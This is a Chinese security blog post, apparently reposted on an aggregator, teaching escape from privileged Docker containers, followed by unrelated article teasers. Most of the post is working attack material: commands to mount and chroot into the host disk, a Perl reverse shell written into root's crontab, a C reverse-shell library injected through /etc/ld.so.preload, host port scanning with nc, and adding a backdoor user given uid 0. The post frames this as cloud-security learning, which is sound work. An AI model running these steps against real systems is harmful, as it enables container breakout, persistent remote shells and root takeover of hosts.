云安全(1)--初识容器逃逸之特权容器逃逸

news2024/11/18 13:31:28

文章目录

  • 前言
  • privileged,特权容器逃逸
    • 环境配置
    • 实际利用
      • 实际环境利用
        • 计划任务
          • /var/spool/cron/crontabs/ 适用于ubuntu debain
          • /var/spool/cron 适用于centos
        • ld.so.preload
        • ssh

前言

在10.15号的上海中华武数杯的渗透赛里做到了一个k8s的题目,这应该是我第一次在比赛里面实际做到云安全的题目(之前可能也有,记不清了)。但可能并不是很多人都了解云安全,这里我就简单在博客里面分享一点云安全的知识,从容器逃逸到k8s攻防,有兴趣的可以关注一下。

privileged,特权容器逃逸

这是云安全的第一章,那么自然要从特权容器开始。(如果你不会使用docker,也没有办法,我后面会简单介绍一下参数的含义)
特权容器在实战里面可能也会遇到,因为一些特殊的业务需求或者配置不当,导致容器可能被赋予了特权模式,如果这里容器用的是普通的runc容器非安全容器,那么存在逃逸的风险。

环境配置

docker run -it --privileged ubuntu:18.04

–privileged 以特权模式运行容器

-it -i interactive 代表交互 -t --tty 这两个一起使用就代表我们直接进入到容器的交互终端里,如果不需要交互可以使用-d 代表后台运行

具体可以运行docker run --help去查看解释

实际利用

上面就代表我们的docker启动好了,由于是第一章,这里也介绍一下实战里我们怎么判断获取的shell到底是主机还是容器

cat /proc/1/cgroup

可以看到有docker字眼
在这里插入图片描述
那我们就可以判断出来 环境是docker
后面就可以开始进行特权容器的逃逸

实际环境利用

如果查看到CapEff为0000003fffffffff代表为特权容器,可以逃逸

cat /proc/1/status|grep CapEff
CapEff:	0000003fffffffff

逃逸方法,挂载宿主机根目录

fdisk -l|grep Linux
mkdir /host
mount /dev/vda1 /host
chroot /host

这个时候只是文件系统层面逃逸,还没有彻底逃逸,需要用到接下来的方法

计划任务
/var/spool/cron/crontabs/ 适用于ubuntu debain
ls -la /var/spool/cron/crontabs

如果目录存在,代表我们可以写一个crontab

echo $'*/1 * * * * perl -e \'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

然后就是彻底逃逸了

/var/spool/cron 适用于centos
ls -la /var/spool/cron/

如果目录存在,代表我们可以写一个crontab

echo $'*/1 * * * * perl -e \'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/root
chmod 600 /var/spool/cron/root
ld.so.preload
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
int tcp_port = 8080;
char *ip = "127.0.0.1";
__attribute__((destructor)) void test(){
	remove("/etc/ld.so.preload");
	int pid;
	if((pid=fork())==0){
        int fd;
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);
        fd = socket(AF_INET, SOCK_STREAM, 0);
        connect(fd, (struct sockaddr*)&addr, sizeof(addr));
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        system("/bin/bash");
	}
}
gcc evil.c --shared -fPIC -o evil.so

上传evil.so到/tmp

echo '/tmp/evil.so' >/etc/ld.so.preload

然后下次系统会自动load这个so,并且可以实现无感知注入,达到逃逸,不过这种注入还是需要类似有运维操作才可以触发,或者说有新进程创建

ssh

当文件系统逃逸到宿主机上,可以做端口扫描

nc -nvz -w2  172.17.0.1 1-65535 2>&1|grep succeeded

如果发现宿主机开放了ssh服务,那我们可以直接ssh登陆到宿主机上实现逃逸
直接adduser

adduser test
passwd test

同时可以修改/etc/passwd 把test uid改为0变成root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1117449.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

13.3测试用例进阶

一.测试对象划分 1.界面测试(参考软件规格说明书和UI视觉稿) a.什么是界面 1)WEB站(浏览器) 2)app 3)小程序 4)公众号 b.测试内容 1)界面内容显示的一致性,完整性,准确性,友好性.比如界面内容对屏幕大小的自适应,换行,内容是否全部清晰展示. 2)验证整个界面布局和排版…

【数据结构】线性表(七)堆栈:链式栈及其基本操作(初始化、判空、入栈、出栈、存取栈顶元素、清空栈);顺序栈与链式栈之比较

文章目录 一、堆栈1. 定义2. 基本操作 二、顺序栈三、链式栈0. 链表1. 头文件和常量2. 栈结构体3. 栈的初始化4. 判断栈是否为空5. 入栈6. 出栈7. 存取栈顶元素8. 清空栈9. 主函数10. 代码整合 四、 顺序栈与链式栈的比较 堆栈&#xff08;Stack&#xff09;和队列&#xff08;…

Linux MMC子系统 - 1.eMMC简介

By: Ailson Jack Date: 2023.10.21 个人博客&#xff1a;http://www.only2fire.com/ 本文在我博客的地址是&#xff1a;http://www.only2fire.com/archives/160.html&#xff0c;排版更好&#xff0c;便于学习&#xff0c;也可以去我博客逛逛&#xff0c;兴许有你想要的内容呢。…

JAVA基础-数据类型(2)

目录 1、基本数据类型2、引用数据类型3、类型默认值4、数据类型的转换4.1、自动类型转换4.2、强制类型转换4.3、隐含强制类型转换 1、基本数据类型 :::tips Java语言提供了八种基本类型。六种数字类型&#xff08;四个整数型&#xff0c;两个浮点型&#xff09;&#xff0c;一…

C++多重、多层、分层继承

在本文中&#xff0c;您将学习C 编程中的不同继承模型&#xff1a;带有示例的多继承&#xff0c;多层和分层继承。 继承是面向对象编程语言的核心功能之一。它允许软件开发人员从现有的类派生一个新的类。派生类继承基类&#xff08;现有类&#xff09;的功能。C 编程中有多种…

逗号表达式

#include<stdio.h> int cmp() {return(2,1); } int main() {int z cmp();printf("%d",z);return 0; } 逗号表达式括号里的优先级是自左向右&#xff0c;最后一个值为最终的结果。

YOLOv5改进实战 | 更换主干网络Backbone(四)之轻量化模型MobileNetV3

前言 轻量化网络设计是一种针对移动设备等资源受限环境的深度学习模型设计方法。下面是一些常见的轻量化网络设计方法: 网络剪枝:移除神经网络中冗余的连接和参数,以达到模型压缩和加速的目的。分组卷积:将卷积操作分解为若干个较小的卷积操作,并将它们分别作用于输入的不…

东信智能:嵌入式内置式身份证阅读器微模块技术参数,和之前的大模块、小模块有什么区别研究

身份证读卡器模块总共分为4种&#xff1a; 1、0503大模块&#xff0c;尺寸大&#xff0c;可读完整信息。 2、0513小模块&#xff0c;尺寸中等&#xff0c;可读完整信息。 3、微模块&#xff0c;尺寸小&#xff0c;只用于比对。 4、SDT88-FR嵌入式模块&#xff0c;尺寸小&am…

“控制情绪,理性交流”刍议

今天&#xff0c;本“人民体验官”还是回避推广人民日报官方微博文化产品《走出低谷期的9个习惯》。 截图&#xff1a;来源“人民体验官”推广平台 ​之前&#xff0c;由于笔者读过《人民日报》曾经发表过的关于“学会管理情绪 ”的文章&#xff0c;对文章中这些观点深表认同&…

DJYOS物联屏:工业HMI里的显控异构计算的超稳定解决方案

1、超稳定性&#xff1a;DJYOS物联屏的超稳定依赖于都江堰泛计算操作系统天然支持多核、多机的异构计算能力&#xff0c;可以一核运行HMI、一核运行控制程序&#xff0c;多核之间可以通过djyos的异构计算去中心化运行&#xff08;确保各自程序不干扰运行&#xff09;&#xff0…

存储器~Zynq book第九章

还有小梅哥和正点原子的一些资料。 DRAM SRAM Cache SDRAM SDRAM学习与实现串口传图-CSDN博客 DDR3

【算法训练-动态规划 零】动态规划解题框架

动态规划问题的一般形式就是求最值。动态规划其实是运筹学的一种最优化方法&#xff0c;只不过在计算机问题上应用比较多&#xff0c;比如说求最长递增子序列呀&#xff0c;最小编辑距离呀等等。 既然是要求最值&#xff0c;核心问题是什么呢&#xff1f;求解动态规划的核心问…

C++ 使用httplib库,发送HTTP请求

简介 C 使用httplib库&#xff0c;发送HTTP请求 接口信息 ip地址 192.168.16.166 端口 8899 接口地址/abc/tk 请求方式GET 响应内容&#xff1a; { “result”: true, “message”: “”, “tk”: “yueguangsaxialexiangshuitan0ihai”, “datetimeout”: “2023-10-22 21…

2023年中国预缩机产量、需求量及市场规模分析[图]

预缩机是一种用于压缩气体的机械设备&#xff0c;通过减小气体的体积&#xff0c;增加气体的压力。预缩机通常由压缩机、电机、冷却系统和控制系统等组成&#xff0c;广泛应用于空调、制冷、工业生产等领域。 预缩机行业分类 资料来源&#xff1a;共研产业咨询&#xff08;共研…

LightDM Greeter的启动流程与分析

重要的概念 LightDM Greeter是什么&#xff1f;它是一个登录管理器&#xff0c;用于在Ubuntu或其他基于Linux的操作系统中管理用户登录。它提供了一个图形化用户界面&#xff0c;用户可以在其中输入他们的用户名和密码以及选择登录的桌面环境。LightDM Greeter还提供了可定制的…

设计模式_中介者模式

中介者模式 介绍 设计模式定义案例问题堆积在哪里解决办法中介者代替了多个对象之间的互动 使对象1 2 3 之间的互动 变为&#xff1a; 对象1->中介 对象2->中介 对象3->中介好友之间 约饭好友1 通知 好友2 -3 -4 等等加一个群 谁想吃饭就 通知一下 类图 代码 角色 …

Spring Security认证架构介绍

在之前的Spring Security&#xff1a;总体架构中&#xff0c;我们讲到Spring Security整个架构是通过Bean容器和Servlet容器对过滤器的支持来实现的。我们将从过滤器出发介绍Spring Security的Servlet类型的认证架构。 1.AbstractAuthenticationProcessingFilter AbstractAut…

操作系统——进程互斥的软件实现算法(王道视频p27、课本ch6)

1.总结概览&#xff1a; 2.单标志[turn]法——算法代码&#xff1a; 可能违反“空闲让进” 3.双标志[flag[2]]先检查法——算法代码&#xff1a; 如果不能利用硬件的原语的话&#xff0c;就可能出现违反“忙则等待”的问题: 4.双标志[flag[2]]后检查法——算法代码&#xff1…

RT-Smart 应用开发笔记:fopen 造成文件被清空问题的分析记录

前言 RT-Smart 应用&#xff08;apps&#xff09;开发环境&#xff0c;ubuntu 20.04 win10 VS Code 最近在调试一个问题&#xff0c;需要使用 FILE 的 fopen、fread 等去读取处理一个大文件&#xff0c;为了尽快复现验证问题&#xff0c;随手搜了一下 fopen 等几个 API的用法…

Pytorch搭建DTLN降噪算法

前面介绍了几种轻量级网路结构的降噪做法&#xff0c;本文介绍DTLN—一种时频双核心网络降噪做法。 AI-GruNet降噪算法 AI-CGNet降噪算法 AI-FGNet降噪算法 Pytorch搭建实虚部重建AI-GruNet降噪算法 一、模型结构 DTLN来自[2005.07551] Dual-Signal Transformation LSTM N…